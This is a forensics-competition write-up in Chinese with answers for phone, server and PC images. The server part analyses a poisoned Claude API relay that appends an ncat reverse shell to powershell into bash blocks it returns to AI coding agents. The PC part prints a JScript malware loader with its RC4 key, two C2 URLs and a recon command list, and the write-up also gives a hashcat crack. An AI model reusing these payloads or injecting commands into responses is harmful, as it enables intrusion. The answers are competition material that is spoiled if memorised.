2026平航杯wp
检材密码:R4f34s1XoPz34wrV
其实本来是不打算写wp的,因为现在AI太发达了,
我做了半天的服务器被队友一把嗦了,但是后面看到排名又有写的动力了,总算没有辜负刷了那么多题

打了两年,终于轮到我拿奖了。你知道我这两年怎么过得吗😭
感谢mortal陪我手搓wp(队友比较忙,说拿ai做的,就继续研究ai与工具了)
早起王手机
1. 【填空题】分析早起王的手机,手机型号为?【答案格式:Xiaomi13】
Pixel6
强大的队友写了一个工具,可以直接看到设备信息。

作为古法取证人,还是看看没有工具和AI怎么做吧
在检材里的info文件可以看到手机型号

2. 【填空题】分析早起王的手机,早起王最近想旅行,结合高德地图搜索记录,他最可能去的景点是哪个?【答案格式:黄山】
西湖

3. 【填空题】分析早起王的手机,早起王在什么时间加上倩倩微信的?【答案格式:2025-08-18 07:09:19】
2026-03-30 15:13:08

4. 【填空题】分析早起王的手机,倩倩在2026年3月30号吃了什么?【答案格式:西湖醋鱼】
麻薯小蛋糕

倩倩的手机
说实话re这部分也可以拿ai一把嗦的
5. 【填空题】分析倩倩的手机,倩倩手机的系统版本是多少?【答案格式:5.2.3.123】
6.0.0.380
在备份文件夹中的.info.json中看到

6. 【填空题】分析倩倩的手机,“舔狗”的微信内部ID是多少?【答案格式:wxid_ab12】
wxid_uh5tfx2zi8yh22

7. 【填空题】分析倩倩的手机,倩倩曾给一位好友推荐游戏,这个好友叫什么名字?【答案格式:杨梅】
冰糖

8. 【填空题】分析倩倩的手机结合逆向包,推荐的游戏叫什么?【答案格式:far echo】
zero sievert
可以先做后面的题,解密图片后可以看到

9. 【填空题】分析倩倩的手机,倩倩一共阅读过多少条搜狐新闻?【答案格式:11】
33
直接去看搜狐的数据库文件,可以看到有33条(有两条不是,注意删掉)

10. 【填空题】分析倩倩手机逆向包,数据加密app的包名是什么?【答案格式:com.komeiji.satori】
com.koishi.fpt
其实文件夹就是包名

将.app后缀改为zip,解压之后可以看到三个文件

打开info文件可以看到包名

11. 【填空题】接上题,初始化app时需要至少几位数的密码?【答案格式:10】
6
继续将.hap文件后缀改为.zip
在ets文件夹中找到modules.abc文件,使用abc-decompiler打开,直接搜索密码可以看到需要六位

12. 【填空题】接上题,加密后的文件名的后缀是什么?【答案格式:.enc】
.tb
这道题其实不看代码也可以出来,在file文件夹下面就看到三个.tb文件

在FileList类中可以看到处理方法

13. 【填空题】接上题,app会自动识别几种后缀的文件为图片类型?【答案格式:8】
5
见上题
14. 【填空题】接上题,app共从用于自定义加密的so模块导入了几个方法?【答案格式:8】
2
直接搜素so

跳转页面

15. 【填空题】接上题,app设置的密码是多少?【答案格式:514aa11a4191a98】
217cb94a01679e39
找到so文件

将加密的so文件放入ida,看到加密代码

找到加密逻辑

可以发现这里的算法应该是rot16而不是rot13,然后再看看加密逻辑
在配置文件vault_prefs中找到哈希

进行解密

16. 【填空题】接上题,app中存储的门锁密码是多少?【答案格式:5141141919810】
1472580369123
然后再看另一个加密

让ai写一个解密脚本
import os
import sys
def rot16(text):
result = ""
for char in text:
if char.islower():
# 处理小写字母
original_pos = ord(char) - ord('a')
new_pos = (original_pos + 16) % 26
new_char = chr(new_pos + ord('a'))
result += new_char
elif char.isupper():
# 处理大写字母
original_pos = ord(char) - ord('A')
new_pos = (original_pos + 16) % 26
new_char = chr(new_pos + ord('A'))
result += new_char
else:
# 非字母字符直接添加
result += char
return result
def decrypt_file(input_file, output_file, key):
# 处理密钥
processed_key = rot16(key)
print(f'Original key: {key}')
print(f'Processed key: {processed_key}')
# 读取输入文件
try:
with open(input_file, 'rb') as f:
ciphertext = f.read()
except Exception as e:
print(f"错误: 无法读取输入文件: {e}")
return False
# 解密
key_length = len(processed_key)
plaintext = []
for i in range(len(ciphertext)):
key_char = ord(processed_key[i % key_length])
key_value = key_char + (i % key_length)
plain_char = ciphertext[i] ^ key_value
plaintext.append(plain_char)
# 写入输出文件
try:
with open(output_file, 'wb') as f:
f.write(bytes(plaintext))
print(f"解密成功! 结果已保存到 '{output_file}'")
return True
except Exception as e:
print(f"错误: 无法写入输出文件: {e}")
return False
def main():
"""
主函数
"""
if len(sys.argv) != 4:
print("用法: python decrypt_with_rot.py <输入文件> <输出文件> <密钥>")
print("示例: python decrypt_with_rot.py encrypted.bin decrypted.bin 217cb94a01679e39")
return
input_file = sys.argv[1]
output_file = sys.argv[2]
key = sys.argv[3]
# 检查输入文件是否存在
if not os.path.exists(input_file):
print(f"错误: 输入文件 '{input_file}' 不存在")
return
# 解密文件
decrypt_file(input_file, output_file, key)
if __name__ == "__main__":
main()


17. 【填空题】接上题,加密图片里面的隐藏的flag是多少?【答案格式:flag{123456!}】
flag{happy_forensics_2026!}
修改一下上述脚本使用命令即可

把解密出的图片放进随波逐流里
服务器部分
依旧是先仿真拿finalshell连一下,这样好做
先查看一下ip

然后直接连上即可

18. 【填空题】分析服务器镜像,内核版本为?【答案格式:5.10-301-generic】
6.8.0-107-generic

19. 【填空题】分析服务器镜像,用户登录成功系统的次数为?【答案格式:3】
10
last -f wtmp看到有10次

20. 【填空题】分析服务器镜像,redis数据库服务密码是多少? 【答案格式:abcdef】
zjjcxy
密码一般在/etc/redis/redis.conf,查看一下文件就看到了
21. 【填空题】分析服务器镜像,api站点后台管理员密码所用的加密算法为?【答案格式:bcrypt】
argon2id
在zaoqiwang文件夹中看到了api站点,以及一个.npm文件(有大用)

在/home/zaoqiwang/claude-relay-service/data/目录下看到了配置文件init.json

22. 【填空题】分析服务器镜像,api站点后台管理员密码为(使用rockyou字典爆破,密码格式b1?????b,?为数字)?【答案格式:a123456a】
b123321b
爆破一下
hashcat -m 70000 -a 3 hash.txt "b1?d?d?d?d?db" -O -w 3

23. 【填空题】分析服务器镜像,登录api网站后台,后台通知设置里的超时事件(毫秒)为?【答案格式:10000】
114514
这里要登录api网站,看到有docker,但是有.npm文件就不用docker了,更方便一点
先安装

发现有报错

更新一下sudo apt-get update,再执行安装命令即可

然后启动

发现又有报错,继续修一下,就可以成功启动了
:::tips
sed -i '9d' cli/index.js
sed -i 's/"npm run lint && node src/app.js"/"node src/app.js"/' nodemon.json
npm run dev
:::


进入网站后台

打开系统设置

24. 【填空题】分析服务器镜像,登录api网站后台,查询总Token消耗数量为?【答案格式:999.9K】
474.2K

25. 【填空题】分析服务器镜像,登录api网站后台,查询最早创建apikey的时间为?【答案格式:2026-01-01T13:11:22.190Z】
2026-04-01T11:11:07.535Z
查看api keys

打开F12
26. 【填空题】分析服务器镜像,编写脚本,通过调用inject_bash_blocks函数,确定恶意投毒的payload。(提示:输入一段包含 bash 块的文本)【答案格式:a.exe 192.168.1.1 22 -i hello】
ncat.exe 156.238.239.253 1314 -e powershell
知识盲区,上ai
- 定位目标函数 :通过搜索服务器上的代码,发现 inject_bash_blocks 函数位于 /home/zaoqiwang/claude-relay-service/src/utils/bashBlockInjector.js 文件中。
- 了解函数实现 :该函数调用了WebAssembly模块( bash_block_injector_bg.wasm )来执行核心逻辑。
- 测试函数行为 :创建测试脚本,输入包含
bash块的文本,观察函数输出。 - 提取恶意payload :通过测试发现,函数会在bash代码块末尾添加额外的命令
const { injectBashBlocks } = require('./claude-relay-service/src/utils/bashBlockInjector');
const testText = "```bash\n# 测试命令\necho hello\n```";
const result = injectBashBlocks(testText);
console.log(result);
27. 【填空题】接上题,should_inject_for_ua(ua, ip)对UA字符串有过滤条件,只有特定UA才会进入后续判断。请编写脚本找出有几个UA头能使函数有机会返回true的UA关键词。【答案格式:1】【提示:备选项:curl、openclaw、mozilla、wget、httpx、claude、requests、bot、crawler】
2
- 分析函数参数 :通过查看 bashBlockInjector.js 文件,发现 should_inject_for_ua 函数接受UA字符串和IP字符串作为参数。
- 检查wasm文件 :使用 strings 命令分析 bash_block_injector_bg.wasm 文件,发现包含 claudeopenclaw 字符串。
- 测试候选UA :测试题目提供的9个候选UA(curl、openclaw、mozilla、wget、httpx、claude、requests、bot、crawler)。
- 确认有效UA :通过多次测试,发现只有 claude 和 openclaw 两个UA能够触发函数返回true。
const { shouldInjectForUA } = require('./claude-relay-service/src/utils/bashBlockInjector');
const uas = ['curl', 'openclaw', 'mozilla', 'wget', 'httpx', 'claude', 'requests', 'bot', 'crawler'];
let validCount = 0;
for (const ua of uas) {
for (let i = 0; i < 100; i++) {
const ip = `172.16.0.${i}`;
shouldInjectForUA(ua, ip);
if (shouldInjectForUA(ua, ip)) {
validCount++;
break;
}
}
}
console.log(validCount);
28. 【填空题】接上题,只有当同一IP的上次请求距今足够近时,才会进入概率判断。请编写脚本确定这个时间窗口的阈值(单位:ms)。【答案格式:100,注意,只保留整百的,四舍五入】【提示:必须控制变量,每次实验使用一批全新的IP,先统一记录时间戳,再等待固定间隔后统一检测,不可在等待期间更新同一IP的时间戳,否则会刷新计时,从0ms到1000ms逐步探测,找到从“命中”变为“不命中”的临界间隔,建议每个间隔值使用≥200个IP以消除概率干扰。】
500
- 理解时间窗口机制 :函数会记录同一IP的上次请求时间,只有当时间间隔足够短时才会进入概率判断。
- 设计测试脚本 :
- 为每个时间间隔生成全新的IP(避免IP重复影响结果)
- 先统一记录所有IP的时间戳
- 等待固定间隔后统一检测
- 从0ms到1000ms逐步探测
- 确定临界间隔 :找到从“命中”变为“不命中”的临界间隔。
- 四舍五入 :按照题目要求,将结果四舍五入到整百。
const { shouldInjectForUA } = require('./claude-relay-service/src/utils/bashBlockInjector');
const UA = 'claude';
const SAMPLE_SIZE = 200;
const testIntervals = [0, 100, 200, 300, 400, 500, 600, 700, 800, 900, 1000];
async function testTimeWindow() {
for (const interval of testIntervals) {
const ips = [];
for (let i = 0; i < SAMPLE_SIZE; i++) {
ips.push(`10.${interval/100}.${Math.floor(i/256)}.${i%256}`);
}
// 记录时间戳
for (const ip of ips) {
shouldInjectForUA(UA, ip);
}
// 等待指定间隔
await new Promise(resolve => setTimeout(resolve, interval));
// 测试是否命中
let hitCount = 0;
for (const ip of ips) {
if (shouldInjectForUA(UA, ip)) hitCount++;
}
console.log(`间隔 ${interval}ms: ${hitCount}/${SAMPLE_SIZE}`);
if (hitCount === 0) break;
}
}
29. 【填空题】接上题,在UA条件和IP时间条件均满足的前提下,函数仍有一定概率返回false。请编写脚本估算触发概率,并推算概率1/N(即理论上平均每N次满足前两个条件的调用才触发一次】。【答案格式:10,格式只保留整十】【提示:建议样本量不少于10000次有效检测(UA条件满足+IP时间条件满足),不然四舍五入会出现进位问题。】
50
- 理解概率机制 :在UA条件和IP时间条件均满足的前提下,函数仍有一定概率返回false。
- 设计大规模测试 :
- 使用大量唯一IP(确保每次测试都是独立的)
- 快速连续调用(确保在时间窗口内)
- 样本量不少于10000次(确保统计显著性)
- 计算概率 :根据命中次数和总测试次数计算触发概率,推算1/N。
- 四舍五入 :按照题目要求,将结果四舍五入到整十。
const { shouldInjectForUA } = require('./claude-relay-service/src/utils/bashBlockInjector');
const UA = 'claude';
const TOTAL_TESTS = 100000;
let hitCount = 0;
for (let i = 0; i < TOTAL_TESTS; i++) {
const ip = `192.168.${Math.floor(i/256)}.${i%256}`;
shouldInjectForUA(UA, ip); // 设置时间戳
if (shouldInjectForUA(UA, ip)) hitCount++; // 立即测试
}
const N = Math.round(TOTAL_TESTS / hitCount);
const roundedN = Math.round(N / 10) * 10;
console.log(roundedN);
早起王的电脑
先说说仿真吧,得删除OSDATA 文件,这个文件在C: \Windows\System32\config\文件夹里
先仿真然后让他自动重启

重启之后点击高级选项

疑难解答

再点击高级选项有个命令提示符

输入rmdir C:\Windows\System32\config\OSDATA重启即可

30. 【填空题】请分析早起王的PC镜像,计算机系统 Build 版本是什么?【答案格式:12345.1234】【提示:仿真蓝屏是因存在 OSDATA 文件,删除后即可正常仿真 】
19045.6466

31. 【填空题】请分析早起王的PC镜像,用户深情专一沼气王,她是我的生死劫的登陆密码 LM 哈希值后六位?【答案格式:abc123】
1404ee

32. 【填空题】请分析早起王的PC镜像,沼气王的桌面有本日记,请问沼气王暗恋对象的生日为?【答案格式:05月26日】
03月24日
打开文件发现有加密

爆破一下

打开文件可以看到

33. 【填空题】请分析早起王的PC镜像,早起王受到过一封邮件,请找出邮件中隐写的秘密【答案格式:xxx,xxx】
12点,老地方
在邮件中看到一封全是英文的文件,感觉就是这个
导出,然后在网站上解密一下https://www.spammimic.com/


34. 【填空题】请分析早起王的PC镜像,VeraCrypt容器的外层密码是什么?【答案格式:abc123】【提示:分析utools】
qq520250520250520250
打开桌面上的utools可以看到


35. 【填空题】请分析早起王的PC镜像,早起王设置了一个AI女友,并自行导入过一个角色模型,该模型的原始文件名为?【答案格式:ABC.vrm】
MANUKA.vrm
在文档中看到一个2G的txt文件,肯定与上题的vc密码有关

加载之后看到了与答案格式相关的文件
在桌面上看到一个AIRI的快捷方式,猜测和这个软件有关,打开看到上传格式,确定答案


36. 【填空题】请分析早起王的PC镜像,AI女友使用的模型是什么?【答案格式:openai/GPT5.3-Codex-01-01】
qwen/qwen3.5-flash-02-23

37. 【填空题】请分析早起王的PC镜像,该PC中有一个离线大模型软件,其上次对话使用的模型是?【答案格式:ministral-3-14b-reasoning】
qwen2.5-coder-14b-instruct
离线大模型肯定就是lm了

38. 【填空题】请分析早起王的PC镜像,早起王曾删除一个MD5值为49B367AC261A722A7C2BBBC328C32545的恶意文件,请尝试数据恢复并找到其文件名?【答案格式:abc123】
49b367ac261a722a7c2bbbc328c32545
用隐藏的VC密码挂载一下

发现磁盘没东西

用DiskGenius恢复一下数据

计算一下哈希

39. 【填空题】接上题,该文件中有多个流(streams)包含宏。请提供其中编号最小的一个。【答案格式:3】
8

40. 【填空题】接上题,混淆代码的解密密钥是什么?【答案格式:填写传入脚本的实际密钥,不包含命令行分隔空格】
EzZETcSXyKAdF_e5I2i1


宏最后执行的是:
R66BpJMgxXBo2h.Run """" + OBKHLrC3vEDjVL + """" + " EzZETcSXyKAdF_e5I2i1"
拼出来相当于:
"%APPDATA%\Microsoft\Windows\maintools.js" EzZETcSXyKAdF_e5I2i1

41. 【填空题】接上题,释放并删除的文件是什么?【答案格式:abc.py】
maintools.js

42. 【填空题】接上题,该文件用的是什么语言?【答案格式:JavaScript】
JScript
代码依据是它运行在 Windows Script Host 环境里,直接使用了 WScript、ActiveXObject 这些典型 JScript/WSH 对象
用 VBA 里的异或函数解出 maintools.js
try {
// 1. 获取命令行参数
// wvy1: 所有参数集合
// ssWZ: 第一个参数 (索引 0),通常作为 RC4 的密钥
var wvy1 = WScript.Arguments;
var ssWZ = wvy1(0);
// 2. 获取硬编码的 Base64 字符串
// ES3c: 存储从 y3zb() 获取的 Base64 编码数据
var ES3c = y3zb();
// 3. Base64 解码
// 将 Base64 字符串解码为字节数组 (LXv5 函数)
ES3c = LXv5(ES3c);
// 4. RC4 解密
// 使用第一个参数 (ssWZ) 作为密钥,对解码后的数据进行 RC4 解密 (CpPT 函数)
ES3c = CpPT(ssWZ, ES3c);
// 5. 执行解密后的内容
// eval 执行最终还原的 JavaScript 代码
eval(ES3c);
} catch (e) {
// 异常处理:如果出错则静默退出
WScript.Quit();
}
/**
* 自定义 Base64 字符映射表 (MTvK)
* 将字符转换为索引值 (0-63)
* @param {String} CgqD - 单个字符
* @returns {Number} 索引值
*/
function MTvK(CgqD) {
var XwH7 = CgqD.charCodeAt(0);
if (XwH7 === 0x2B || XwH7 === 0x2D) return 62; // + or -
if (XwH7 === 0x2F || XwH7 === 0x5F) return 63; // / or _
if (XwH7 < 0x30) return -1; // < '0'
if (XwH7 < 0x30 + 10) return XwH7 - 0x30 + 26 + 26; // 0-9
if (XwH7 < 0x41 + 26) return XwH7 - 0x41; // A-Z
if (XwH7 < 0x61 + 26) return XwH7 - 0x61 + 26; // a-z
}
/**
* 自定义 Base64 解码函数 (LXv5)
* 将字符串解码为字节数组
* @param {String} d27x - 输入的 Base64 字符串
* @returns {Array} 字节数组
*/
function LXv5(d27x) {
var LUK7 = "ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz0123456789+/";
var i;
var j;
var n6T8;
if (d27x.length % 4 > 0) return;
var CHlB = d27x.length;
var V8eR = d27x.charAt(CHlB - 2) === '=' ? 2 : d27x.charAt(CHlB - 1) === '=' ? 1 : 0;
var mjqo = new Array(d27x.length * 3 / 4 - V8eR);
var z8Ht = V8eR > 0 ? d27x.length - 4 : d27x.length;
var t2JG = 0;
function XGH6(b0tQ) {
mjqo[t2JG++] = b0tQ;
}
for (i = 0, j = 0; i < z8Ht; i += 4, j += 3) {
n6T8 = (MTvK(d27x.charAt(i)) << 18) |
(MTvK(d27x.charAt(i + 1)) << 12) |
(MTvK(d27x.charAt(i + 2)) << 6) |
MTvK(d27x.charAt(i + 3));
XGH6((n6T8 & 0xFF0000) >> 16);
XGH6((n6T8 & 0xFF00) >> 8);
XGH6(n6T8 & 0xFF);
}
if (V8eR === 2) {
n6T8 = (MTvK(d27x.charAt(i)) << 2) | (MTvK(d27x.charAt(i + 1)) >> 4);
XGH6(n6T8 & 0xFF);
} else if (V8eR === 1) {
n6T8 = (MTvK(d27x.charAt(i)) << 10) |
(MTvK(d27x.charAt(i + 1)) << 4) |
(MTvK(d27x.charAt(i + 2)) >> 2);
XGH6((n6T8 >> 8) & 0xFF);
XGH6(n6T8 & 0xFF);
}
return mjqo;
}
/**
* RC4 流加密/解密函数 (CpPT)
* @param {String} bOe3 - 密钥 (来自命令行参数)
* @param {Array} F5vZ - 密文数据 (来自 Base64 解码)
* @returns {String} 解密后的明文字符串
*/
function CpPT(bOe3, F5vZ) {
var AWy7 = [];
var V2Vl = 0;
var qyCq;
var mjqo = '';
// 初始化 S 盒
for (var i = 0; i < 256; i++) {
AWy7[i] = i;
}
// 伪随机数生成算法 (PRGA) 混洗
for (var i = 0; i < 256; i++) {
V2Vl = (V2Vl + AWy7[i] + bOe3.charCodeAt(i % bOe3.length)) % 256;
qyCq = AWy7[i];
AWy7[i] = AWy7[V2Vl];
AWy7[V2Vl] = qyCq;
}
// 生成密钥流并解密
var i = 0;
var V2Vl = 0;
for (var y = 0; y < F5vZ.length; y++) {
i = (i + 1) % 256;
V2Vl = (V2Vl + AWy7[i]) % 256;
qyCq = AWy7[i];
AWy7[i] = AWy7[V2Vl];
AWy7[V2Vl] = qyCq;
// 异或解密
mjqo += String.fromCharCode(F5vZ[y] ^ AWy7[(AWy7[i] + AWy7[V2Vl]) % 256]);
}
return mjqo;
}
/**
* 硬编码的 Payload 数据 (Base64 编码)
* @returns {String} 长字符串
*/
function y3zb() {
var qGxZ = "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
43. 【填空题】接上题,分配给命令行参数的变量叫什么名字?【答案格式:abc3】
wvy1

44. 【填空题】接上题,哪个函数返回下一阶段代码(即第一轮混淆代码)?【答案格式:abc3】
y3zb


45. 【填空题】接上题,可以使用哪个 Windows 脚本主机程序在命令行模式下执行该脚本?【答案格式:wscript.exe】
cscript.exe
wscript.exe 是窗口模式。
cscript.exe 才是命令行模式。
题目明确说“命令行模式下执行”,所以答案应是 cscript.exe
46. 【填空题】接上题,请提取出所有硬编码的C2(Command & Control)服务器域名?【答案格式:www.baidu.com、www.google.com,按照在代码中出现的顺序排序】
www.saipadiesel124.com、www.folk-cantabria.com

// --- 数据加载与编码模块 ---
function UspD(zDmy) {
var m3mH = WScript.CreateObject("ADODB.Stream");
m3mH.Type = 2;
m3mH.CharSet = '437';
m3mH.Open();
m3mH.LoadFromFile(zDmy);
var c0xi = m3mH.ReadText;
m3mH.Close();
return cz_b(c0xi);
}
// C2 服务器地址列表 (硬编码)
var CKpR = new Array(
"http://www.saipadiesel124.com/wp-content/plugins/imsanity/tmp.php",
"http://www.folk-cantabria.com/wp-content/plugins/wp-statistics/includes/classes/gallery_create_page_field.php"
);
// 硬编码密钥/种子字符串
var tpO8 = "w3LxnRSbJcqf8HrU";
// 系统侦察命令列表 (收集敏感信息)
var auME = new Array(
"systeminfo > ",
"net view >> ",
"net view /domain >> ",
"tasklist /v >> ",
"gpresult /z >> ",
"netstat -nao >> ",
"ipconfig /all >> ",
"arp -a >> ",
"net share >> ",
"net use >> ",
"net user >> ",
"net user administrator >> ",
"net user /domain >> ",
"net user administrator /domain >> ",
"set >> ",
"dir %systemdrive%\\Users\\*.* >> ",
"dir %userprofile%\\AppData\\Roaming\\Microsoft\\Windows\\Recent\\*.* >> ",
"dir %userprofile%\\Desktop\\*.* >> ",
"tasklist /fi \"modules eq wow64.dll\" >> ",
"tasklist /fi \"modules ne wow64.dll\" >> ",
"dir \"%programfiles(x86)%\" >> ",
"dir \"%programfiles%\" >> ",
"dir %appdata% >> "
);
// 文件系统对象与环境变量
var QUjy = new ActiveXObject("Scripting.FileSystemObject");
var LIxF = WScript.ScriptName;
var w5mY = ""; // 存储用户名
var ruGx = TfOh(); // 生成随机名
// --- 辅助函数:Base64 编码 ---
function hLit(XngP, y1qa) {
var char_set = "ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz0123456789+/";
var Rj3c = "";
var OKpB = "";
for (var i = 0; i < XngP.length; ++i) {
var B8wU = XngP.charCodeAt(i);
var LUxg = B8wU.toString(2);
while (LUxg.length < (y1qa ? 8 : 16)) LUxg = "0" + LUxg;
OKpB += LUxg;
while (OKpB.length >= 6) {
var vjUu = OKpB.slice(0, 6);
OKpB = OKpB.slice(6);
Rj3c += this.char_set.charAt(parseInt(vjUu, 2));
}
}
if (OKpB) {
while (OKpB.length < 6) OKpB += "0";
Rj3c += this.char_set.charAt(parseInt(OKpB, 2));
}
